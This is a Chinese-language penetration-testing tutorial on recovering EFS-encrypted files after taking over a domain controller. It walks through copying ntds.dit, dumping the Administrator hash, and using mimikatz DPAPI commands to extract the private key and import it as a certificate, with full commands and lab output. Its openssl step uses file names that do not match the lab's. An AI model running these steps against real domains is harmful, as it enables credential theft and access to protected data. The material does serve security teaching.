在渗透测试中,当我们成功获得了一个域控权限后,接下来会着手搜索服务器上的敏感数据。如果遇到某些数据无法访问,很有可能是因为数据被加密,所以如何还原加密数据也是域渗透中一个有趣的问题,今天就从一个最基本的说起——EFS
图片引用自 http://www.skill4everyone.com/encrypting-file-system-efs-windows-7-8-10-and-flash-usb-for-prevents-offine-attacks-and-lost-data/
选中文件/文件夹-右键-属性-高级-选中加密内容以便保护数据
如图
注:
把未加密的文件复制到具有加密属性的文件夹中,文件也会被自动加密
2、在cmd下
也可在cmd下通过 cipher.exe
对文件/文件夹进行加密
#!bash cipher /e c:/test
如图
EFS加密默认使用当前登录帐户的密码来加密文件,所以在当前用户下可以直接访问加密文件
如果更换登录用户,则会提示无法访问,如图
同样,在域环境中也存在这个问题,域内常常会有多个域管理员用户,如果域控上的某个文件是通过域管理员A(定期更换口令)加密的,那么当我们只获得了域管理员B的权限,还是无法访问这个加密文件,遇到这种情况该怎么办呢?下面我们就来介绍一下如何获得访问这个加密文件的权限。
使用域管理员test1登录域控,发现某个文件无法访问,如图
判断该文件是否被加密,输入:
#!bash cipher /c c:/test/data/data.txt
如下图,获得加密信息,能够解密的用户名称和证书指纹如下:
TEST/Administrator [Administrator([email protected]
)] EA9A 5E11 CD2B 0A91 D853 E6E7 D37F 7FE9 3309 20BF
通过mimikatz.exe直接导出内存信息失败,判断该用户未登录
尝试通过ntds.dit导出
注:
之前的文章介绍过如何导出所有域用户的Hash
本次测试使用 NinjaCopy+ntdsdump
常用方法:
相比之下,powershell实现的NinjaCopy更加高效
NinjaCopy Author: Joe Bialek
可供下载的地址:
https://github.com/3gstudent/NinjaCopy执行:
#!bash PowerShell.exe -ExecutionPolicy Bypass -File NinjaCopy.ps1
成功导出ntds.dit
常用方法:
本次测试使用 zcgonvh
前辈的ntdsdump.exe
下载地址:
http://z-cg.com/post/ntds_dit_pwd_dumper.html获得syskey:
b9e21ebfc252a8393dec5e4238427ce1
修复数据库:
#!bash esentutl /p /o ntds.dit
导出hash:
#!bash NTDSDump.exe -f ntds.dit -k b9e21ebfc252a8393dec5e4238427ce1
如图,获得用户Administrator信息如下:
Administrator:500:AAD3B435B51404EEAAD3B435B51404EE:7ECFFFF0C3548187607A14BAD0F88BB1:::
NTLM hash为: 7ECFFFF0C3548187607A14BAD0F88BB1
如下链接介绍了不同系统下SystemCertificates, Crypto 和Protect对应的目录
https://onedrive.live.com/view.aspx?resid=A352EBC5934F0254!3104&app=Excel
可知server20012对应的目录为:
C:/Users/用户名/AppData/Roaming/Microsoft
通用路径为:
C:/Users/解密用户/AppData/Roaming/Microsoft/SystemCertificates/My/Certificates/证书指纹
此域控对应的路径为:
C:/Users/Administrator/AppData/Roaming/Microsoft/SystemCertificates/My/Certificates/EA9A5E11CD2B0A91D853E6E7D37F7FE9330920BF
mimikatz命令:
#!bash crypto::system /file:"C:/test/EA9A5E11CD2B0A91D853E6E7D37F7FE9330920BF" /export
注:
mimikatz.exe程序内无法直接复制回显和粘贴命令,所以可以采用以下变通方法
启动cmd.exe,输入:
#!bash mimikatz.exe log "crypto::system /file:"C:/test/EA9A5E11CD2B0A91D853E6E7D37F7FE9330920BF" /export"
回显命令记录到日志当中
如图,获得如下可用信息:
4b521cd0-1c7b-48a9-8b08-639f0dc21ea9
Microsoft Enhanced Cryptographic Provider v1.0
公钥证书保存在 EA9A5E11CD2B0A91D853E6E7D37F7FE9330920BF.der
通用路径为:
C:/Users/解密用户/AppData/Roaming/Microsoft/Crypto/RSA/解密用户sid/
此域控对应的路径为:
C:/Users/Administrator/AppData/Roaming/Microsoft/Crypto/RSA/S-1-5-21-2493132618-4238479303-4250330934-500/
找到文件 522d25247797a03a79f72f5f107f8add_fc291890-c9ad-4f8d-9d5e-a55bbdfc8266
并下载
mimikatz命令:
#!bash mimikatz.exe log "dpapi::capi /in:"C:/test/522d25247797a03a79f72f5f107f8add_fc291890-c9ad-4f8d-9d5e-a55bbdfc8266""
如图,得到:
guidMasterKey : {30e88d48-bbc5-417d-b272-6c1f1f8d74ce}
通用路径为:
C:/Users/解密用户/AppData/Roaming/Microsoft/Protect/解密用户sid/guidMasterKey
此域控对应的路径为:
C:/Users/Administrator/AppData/Roaming/Microsoft/Protect/S-1-5-21-2493132618-4238479303-4250330934-500/30e88d48-bbc5-417d-b272-6c1f1f8d74ce
注:
不存在 C:/Users/解密用户/AppData/Roaming/Microsoft/Protect/解密用户sid/guidMasterKey
这个文件
mimikatz命令:
#!bash mimikatz.exe log "dpapi::masterkey /in:"C:/Users/Administrator/AppData/Roaming/Microsoft/Protect/S-1-5-21-2493132618-4238479303-4250330934-500/30e88d48-bbc5-417d-b272-6c1f1f8d74ce" /hash:7ECFFFF0C3548187607A14BAD0F88BB1"
注:
需要知道解密用户以下任一信息:
本次测试使用Administrator的hash,是通过ntds.dit导出来的
如图,得到MasterKey:
7ecffff0c3548187607a14bad0f88bb1
(ntlm type) 5c1713858b0654f2526a793f44a3fe6c08dc06e7e90c59f8ff8b33dbdbf31712dc97f5fb0d7c0509c8b9ee968ed790f88a5bc878fd575872d6997ff79fa71766
9aa6e0a06e0ce33ae668b965ee28276012631405
步骤5中下载的文件,即 522d25247797a03a79f72f5f107f8add_fc291890-c9ad-4f8d-9d5e-a55bbdfc8266
mimikatz命令:
#!bash mimikatz.exe log "dpapi::capi /in:"C:/test/522d25247797a03a79f72f5f107f8add_fc291890-c9ad-4f8d-9d5e-a55bbdfc8266" /masterkey:9aa6e0a06e0ce33ae668b965ee28276012631405"
注:
/masterkey即步骤6中导出的 MasterKey sha1
如图,执行后私钥保存在 raw_exchange_capi_0_4b521cd0-1c7b-48a9-8b08-639f0dc21ea9.pvk
openssl x509 -inform DER -outform PEM -in 4AA08BF21AEAE4941941F835B9A8AC4C497BA36E.der -out public.pem openssl rsa -inform PVK -outform PEM -in raw_exchange_capi_0_ffb75517-bc6c-4a40-8f8b-e2c555e30e34.pvk -out private.pem openssl pkcs12 -in public.pem -inkey private.pem -password pass:mimikatz -keyex -CSP "Microsoft Enhanced Cryptographic Provider v1.0" -export -out cert.pfx
链接为:
https://github.com/gentilkiwi/mimikatz/wiki/howto-~-decrypt-EFS-files安装及配置openssl,有点麻烦,但他在博客里提供了已经编译好的exe,可直接使用,链接为:
http://blog.gentilkiwi.com/programmes/openssl之前介绍过生成证书的相关流程:
http://drops.wooyun.org/tips/15691 在Windows SDK路径下找到 cert2spc.exe
和 pvk2pfx.exe
如 C:/Program Files/Microsoft SDKs/Windows/v6.0A/Bin
运行:
#!bash cert2spc.exe EA9A5E11CD2B0A91D853E6E7D37F7FE9330920BF.der public.spc pvk2pfx.exe -pvk raw_exchange_capi_0_4b521cd0-1c7b-48a9-8b08-639f0dc21ea9.pvk -pi test -spc public.spc -pfx cert.pfx -f
如图,生成cert.pfx
cmd下执行:
#!bash certutil -user -p test -importpfx cert.pfx NoChain,NoRoot
注:
certutil系统自带,可用来向系统导入证书
如图,成功访问加密内容
注:
即使解密用户Administrator变更密码,依然能够通过导入这个证书来访问EFS加密文件
解密EFS文件还有其他的方法,但使用mimikatz无疑是最方便快捷的一个(可根据mimikatz源码定制全自动解密程序)。本文通过实例介绍了如何实际运用mimikatz解密EFS文件,并对其中需要注意的细节做了说明,希望能对大家有所帮助。
文中对mimikatz的使用参考自 https://github.com/gentilkiwi/mimikatz/wiki/howto-~-decrypt-EFS-files ,由此链接获得更多学习内容